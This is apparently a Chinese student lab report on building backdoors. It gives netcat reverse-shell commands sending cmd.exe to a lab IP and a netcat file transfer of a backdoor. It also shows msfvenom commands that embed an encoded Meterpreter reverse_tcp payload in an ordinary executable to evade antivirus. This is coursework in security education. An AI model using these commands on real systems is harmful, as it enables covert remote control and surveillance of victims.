Exp2:后门原理与实践
1 实践目标
任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)
任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
2 简单后门
2.1 Ncat
2.1.1Linux获得Win Shell
- Linux运行监听指令
nc -l -p 5117
- Windows反弹连接Linux
C:\Users\Game\Desktop\ncat\ncat.exe -e cmd.exe 192.168.43.118 5117
- Linux下看到Windows的命令提示
利用NC传送后门
既然得到了windows的shell,那么就可以利用来传送后门。
传输文件步骤如下- 在本机上执行命令 nc -l 9999 <backdoor.exe
- 在接收文件的机器上执行命令 ncat.exe -e cmd.exe 192.168.43.118 9999 > backdoor.exe
2.2Meterpreter
2.2.1 生成backdoor.exe,复制到Win
利用下面指令生成win后门程序backdoor.exe
root@KaliYL:/home/YL# msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。如上即使用该编码器编码5次。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
-
输出到哪个文件
实践过程中发现利用msfvenom(荷载生成器)生成的32位exe程序不是有效的win32位程序,无法运行,于是自己写了一个HelloWorld程序。但是要注意的是,由于HelloWorld只有一个输出,运行完会直接return退出程序,这样无法保证后门程序一直运行,这也是很多同学自己写的后门程序连接成功后就直接退出的原因。所以我在程序最后添加了getchar()
函数。
修改代码如下
msfvenom -p windows/meterpreter/reverse_tcp -x ./hello.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.43.118 LPORT=1000 -f exe > backdoor.exe
之后操作msfconsole如图所示